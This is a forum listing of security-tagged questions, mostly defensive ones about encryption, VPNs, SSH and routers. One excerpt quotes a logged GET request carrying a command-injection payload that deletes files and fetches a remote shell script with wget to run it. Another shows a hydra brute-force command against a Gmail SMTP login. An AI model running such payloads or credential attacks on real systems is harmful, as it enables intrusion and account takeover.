Questions tagged [security]

The protection of computer systems and information from threats such as theft or data destruction.

Filter by
Sorted by
Tagged with
-1 votes
1 answer
40 views

Security of an encrypted partition in a flash drive

I have a flash drive that I carry with me everywhere in a keyring for convenient access to personal files on other people's computers. In the past, these flash drives tend to get lost as they break ...
9a3eedi's user avatar
  • 396
0 votes
1 answer
49 views

Does an Extended Validation (EV) Code Signing Certificate protect the downloader if the installer is compromised

A friend of mine has some software available on his website and the installer for it has been infected with some malware. The infection happened on the hosted server without my friend knowing. ...
Rob's user avatar
  • 101
0 votes
0 answers
33 views

A stranger's email has ended up as a saved username in my Google Account. How can this happen?

I'm really starting to question google's Password manager. I have two very strange cases here: (Case 1. In Chrome, my brother found a username and password to a local newspaper in his Google account. ...
James T's user avatar
-3 votes
0 answers
33 views

Windows Security History - Where did Windows' security holes begin? [closed]

I'm interested in learning more about Windows security, specifically vs. most closed systems like Linux, and it struck me in my research that 'Windows' has been around as the technology around it has ...
Shawn Werber's user avatar
-1 votes
0 answers
28 views

I was hacked, are these event viewer logs normal? [duplicate]

Recently been hacked because of a download which Malwarebytes deemed safe when scanned, done a fresh install of windows on C drive, I didn't format my spare HDD and SSD as I moved documents/files onto ...
iTurniKill's user avatar
0 votes
0 answers
11 views

Network Namespaces security issues

So I created a network namespace for running a vpn only for selected applications, let's call it "myvpn". I understand I need root to set a different namespace, which by default will start ...
Galeno's user avatar
  • 1
1 vote
1 answer
72 views

In the Bitvise Client Software, Host Key Verification window shows public key information not generated by me

The Problem(s): After hitting the login button, Host Key Verification window shows up with host key info. (Not generated by me. Should this be happening by default.) For Public Key Authentication, I ...
Jerry Fleurival's user avatar
0 votes
0 answers
39 views

Should one really disable AEAD for recent GnuPG created PGP keys?

Apparently, there are some problems with the new defaults that are set when one creates a PGP key using a recent version of GnuPG (2.4). I ran into this after generating a new ECC/ED25519 key to ...
Tobias Leupold's user avatar
0 votes
0 answers
48 views

I can't set security to None on my wifi

I have a TV which is broken in either software or something else, I can't enter keyboard input from the remote controller, yet I can STILL control it. Either way, past that, I need to connect to wifi ...
umarkaa's user avatar
1 vote
1 answer
2k views

Why do people discourage using Tor with a VPN?

Why do Tor experts discourage using Tor and a VPN at the same time? Is it because of the network fingerprint, latency, or that there is no point to it?
paranoidrunner's user avatar
0 votes
1 answer
69 views

Delete PK key from terminal when secure boot is disabled

When secure boot is disabled, is it possible to delete the PK key from terminal? I know that to change the keys, you need to enter setup mode. And to enter setup mode, you need to delete the PK key. ...
acmpo6ou's user avatar
  • 101
1 vote
1 answer
88 views

How secure is VirtualBox's VM encryption?

I'm using VirtualBox 7 on Windows 11. How secure is their disk image encryption? Where is the encryption key stored? If a third party gets access to the computer when the VM is turned off, what are ...
paranoidrunner's user avatar
1 vote
1 answer
68 views

More secure option than DDNS + port forwarding to host website

I wondered if there is a more secure solution for my setup. A small PC at home is hosting a website (on port 8080) while my router is forwarding outside requests from port 80 to internal port 8080 of ...
Joe's user avatar
  • 13
0 votes
0 answers
70 views

How to get minimal vendor information about the TPM chip installed in my laptop

How do I get some minimal information about the TPM chip in my Linux laptop? Information such as the manufacturer, manufacturer id, manufacturer version. So far I have tried the tpm2_getcap command to ...
a001's user avatar
  • 1
-1 votes
1 answer
82 views

Will my home router user/admin password be any protection against hackers?

I'm in Australia, I have "Fiber To The Home". This passes through the NBN box on the outside wall, to the NBN modem inside the wall, and thence to my mid-range ASUS AC1900 Dual Band router. ...
Some Bloke's user avatar
8 votes
5 answers
4k views

Hiding public IP address while using free DynDns?

I currently have a multitude of servers running on my home network. These include a Minecraft server, a Git server, and a Teamspeak server (the last two are running on docker on a Raspberry Pi). To ...
Cyros's user avatar
  • 107
0 votes
0 answers
10 views

received sms from Google with a code [migrated]

I just received an sms, the phone shows that sender is "Google" it says: .Google (some arabic) G-123131231 (some code basically). Could this be actualy google ? Why was it sent to me ?
buga's user avatar
  • 103
1 vote
0 answers
255 views

Passkeys with Firefox - Touch your security key to continue

I am trying to log in to Github with Firefox. When I try to log in, the web page gives me an option to try with a passkey. When I do that, Firefox displays a dialog box saying "Touch your ...
D.W.'s user avatar
  • 1,479
0 votes
1 answer
67 views

What's the difference between security.debian.org/debian-security and deb.debian.org/debian-security for Debian 12?

Continuing http://unix.stackexchange.com/questions/541569 (which refers to the outdated Debian 10 and is unspecific/unclear in other ways, and the only answer to which is around 4 years old and at ...
AlMa1r's user avatar
  • 113
0 votes
0 answers
38 views

Limit RDP use with certificate

I need help with RDP in home environment. I need to access my home computer from my class with RDP and I only want to allow access to remote machines that have a certificate issued by me (yes, I ...
Unix's user avatar
  • 29
2 votes
1 answer
154 views

Strange GET request to my server: Should I be concerned?

I'm very new to hosting and I get a get request like this: GET /goform/webRead/open/?path=|rm%20-rf%20%2A%3B%20cd%20%2Ftmp%3B%20wget%20http%3A%2F%2F(ip adress)%2Fbruh.sh%3B%20chmod%20777%20bruh.sh%3B%...
Computer_Master's user avatar
0 votes
1 answer
38 views

can anyone explain how user keys are verified (post host key/KEX, and not authorized_keys)? issue with ssh user key verify

Nutshell: Looking for a bit of an ELI5 explaining the protocol and/or implementation (openssh) of [post-KEX] user key verification (who does what) without being in code I don't understand or a too-...
zenfridge's user avatar
0 votes
1 answer
78 views

How to get through restrictions blocking OpenVPN?

I have recently set up a VPN server on my desktop at home in the hopes I can connect to it while at the university from my laptop. I have confirmed that I can connect easily on a mobile data hotspot, ...
Mercury's user avatar
  • 101
0 votes
0 answers
35 views

Share folder structure for projects

I am trying to figure out a way to set up a share drive that will allow a manufacturing shop to restrict access depending whether they work in the office or on the shop floor. The way they want to do ...
Theodore Cooper's user avatar
0 votes
0 answers
85 views

Bitdefender detected my router trying to exploit my PC. Should I be worried?

Recently my Bitdefender AV blocked an attempted exploit to my PC via my routers IP address. Should I be concerned? Could it be that my NMAP intense scan caused this? Bitdefender exploit protection ...
AlexanderB01's user avatar
0 votes
0 answers
254 views

Is there a comprehensive list of devices affected by KV botnet malware infections?

According to this January 31, 2024 article in Ars Technica: Chinese malware removed from SOHO routers after FBI issues covert commands Routers were being used to conceal attacks on critical ...
Giacomo1968's user avatar
  • 54.7k
0 votes
0 answers
61 views

Linux oathtool-generated TOTP 6-digit code invalid for 2FA SSH login using pam_oath.so

I'm trying to set up TOTP 2FA login into an SSH session on my Ubuntu box. To this end I have in /etc/users.oath: HOTP/T30/6 testuser – 8436e373cbdabce46a5d8d019c463a (I'm generating this value over ...
Stefan's user avatar
  • 101
0 votes
0 answers
83 views

Unknown devices on router WiFi without password knowledge

I am facing a new (to me) situation. My ISP provided me with a Zyxel DX5401-B0 modem/router. Recently, I noticed in the list of connected devices a few ones listed as "unknown", with MAC ...
texnic's user avatar
  • 545
1 vote
0 answers
82 views

computer randomly forgets settings and folders, sometimes logs out

for some longer time i'm having problem with computer (or even computers as it was happening on two computers) not saving settings. i shutdown every electronics at night so every day is a reboot. and ...
hacknorris's user avatar
0 votes
1 answer
80 views

Create admin user without permission to change password of other admin

We have two administrators who are responsible for maintaining a machine running Windows 10. Both administrators need to have the ability to install any software on the machine (including software ...
Clownfish's user avatar
2 votes
0 answers
101 views

Dell and preinstalled McAfee. Uninstalling it is causing Issues with Windows security. Why?

I am using Dell. I have recently reset my PC. After reinstalling Windows 11, it also pre-installed McAfee antivirus, (I'd not consented to this). After uninstalling, I cannot see or make any changes ...
Josh's user avatar
  • 21
0 votes
0 answers
142 views

Disable Or enable Tamper Protection using start windowsdefender: scheme

I recently read you can enable real time protection by using: start windowsdefender://enablertp/ I want to enable/disable Tamper Protection from a batch script using the same concept. I've tried ...
OW2 Is Trash's user avatar
0 votes
0 answers
64 views

Selective TLS connection fail

I have a VB.NET application that connects to a remote server, which I have no authority whatsoever, via a username/password, retrieves some data and populates a local database. Lately the application ...
user10191234's user avatar
0 votes
0 answers
51 views

Should files from an RPM package be installed with root permissions?

Our software is installed via RPM alongside a customizable service user and group. No other users need to run the software besides the service user. I've spent some time searching and can't seem to ...
mitchellJ's user avatar
  • 101
0 votes
1 answer
71 views

Dangerous vulnerability: pinentry-mac completely and continuously disables prompt for GPG passphrase

The short story: I just installed pinentry-mac and this asks me my passphrase only once but then decrypt gpg files without asking for passphrase The long story: I am running macos and I use gpg and ...
ecjb's user avatar
  • 121
26 votes
1 answer
3k views

What is a web site doing while displaying "Checking if the site connection is secure"?

Some web pages display something similar to this when opened, with a message like "Checking if the site connection is secure": The process usually takes some non-trivial time, sometimes it ...
Honza Zidek's user avatar
0 votes
1 answer
51 views

Overcoming client isolation for peer to peer audio streaming application

I am a student developer trying to develop an app that utilizes peer to peer audio streaming with UDP. The app's use case requires it to be used in public settings, specifically places like ...
Zachary Haslam's user avatar
0 votes
0 answers
37 views

Knockd not executing the knock command

I am trying to setup knock daemon, however it does not seem to execute the knock command. To debug the issue, I used this simple configuration, which is slightly edited example from the documentation: ...
Stefan's user avatar
  • 1
0 votes
1 answer
115 views

Permissions Denied error when trying to run a command via the authorized_key file

I am trying to get a command to run via the authorized_keys file. I have set the perms to 600 for the authorized_keys file, and the .ssh dir to 700. In the authorized file I have the following: ...
Daxcor's user avatar
  • 11
1 vote
1 answer
268 views

How to find last user added in Linux?

We had an attack on some of our Linux servers and we need to find if new users where added to the OS, I checked /etc/passwd and it doesn't seem to be something strange, but it doesn't show when each ...
Chico3001's user avatar
  • 274
1 vote
0 answers
75 views

How to show private data in macOS unified log within Xcode

I am getting runtime errors in Xcode involving interface builder. However, the system logger is sanitizing pertinent information contained in the logging. Unknown class <private> in Interface ...
Todd Stanley's user avatar
1 vote
0 answers
100 views

Configure SSH to immediately deny all authentication but still listen

I'm trying to configure an SSH server to only allow access for a specific user from a specific IP address. I've configured that with PubkeyAuthentication no PasswordAuthentication no ...
wastelandcourierperson's user avatar
-1 votes
1 answer
363 views

How do I recover the password to a gmail account with hydra? [closed]

hydra -S -l "$email" -P w_file -V -s 465 smtp.gmail.com smtp Where email is just one one my gmail accounts and w_file is a file with three incorrect passwords and one correct (karina6c in ...
John Smith's user avatar
0 votes
1 answer
193 views

Chrome on Linux does not allow to download .deb file

I rather know what am I doing if I want to download .deb file. The problem is how does it work on Chrome. After I click download link, nothing happens. No any message shown, no warning, just no ...
user1209216's user avatar
0 votes
0 answers
27 views

Linux screen lock sometimes fails after lid close/open

I have Ubuntu Lunar 23.04 on Lenovo Yoga 7 14''. When I close the lid, the system goes into suspend, as expected. Then on open, screen lock pops up, with a password prompt. However sometimes after ...
haael's user avatar
  • 101
0 votes
1 answer
258 views

How To SetUP SOCKS5 Proxy Server on Linux based OS

What is the best way to setup SOCKS5 proxy server on *nix? I have tried a lot of solutions but really not impressed For instance one GO-based solution just not working, another option is to use ssh ...
Грибной Щер's user avatar
0 votes
0 answers
86 views

What disables the 'Startup type' dropdown in the services.msc snap-in, for the gamingservices and gamingservicesnet services?

I've met my share of difficult Microsoft services that don't want to be fiddled with for various reasons, but I can't seem to figure out the gamingservices & gamingservicesnet services. I've added ...
JustJinxed's user avatar
1 vote
2 answers
69 views

Unknown commands hogging all my cpu. " ./4 -c/tmp/ ..."

this is a follow up for this issue Usually, a few hours after a restart we would get a weidly named process like this htop output Turns out it was from out docker postgresql service and the posgres ...
Iujyrino's user avatar
7 votes
2 answers
5k views

If someone opens a Word document from a USB drive but does not save it to the computer, can I access the file's contents after the drive is removed?

If someone opens a Word document from USB flash drive but does not save it to the computer, can I access the file's contents after the drive has been removed? If so, how? I already tried data recovery ...
Mohi's user avatar
  • 71
0 votes
1 answer
101 views

In RSA or Assymetric Encryption, What EXACTLY is the purpose of the Private key? Do both hosts send their private key to each other?

First, let me know if i got anything wrong. The whole private and public key concept confuses me to no end. From what I know, basically RSA uses both public and private key. Public keys are PUBLICLY ...
lgrps's user avatar
  • 11

1
2 3 4 5
110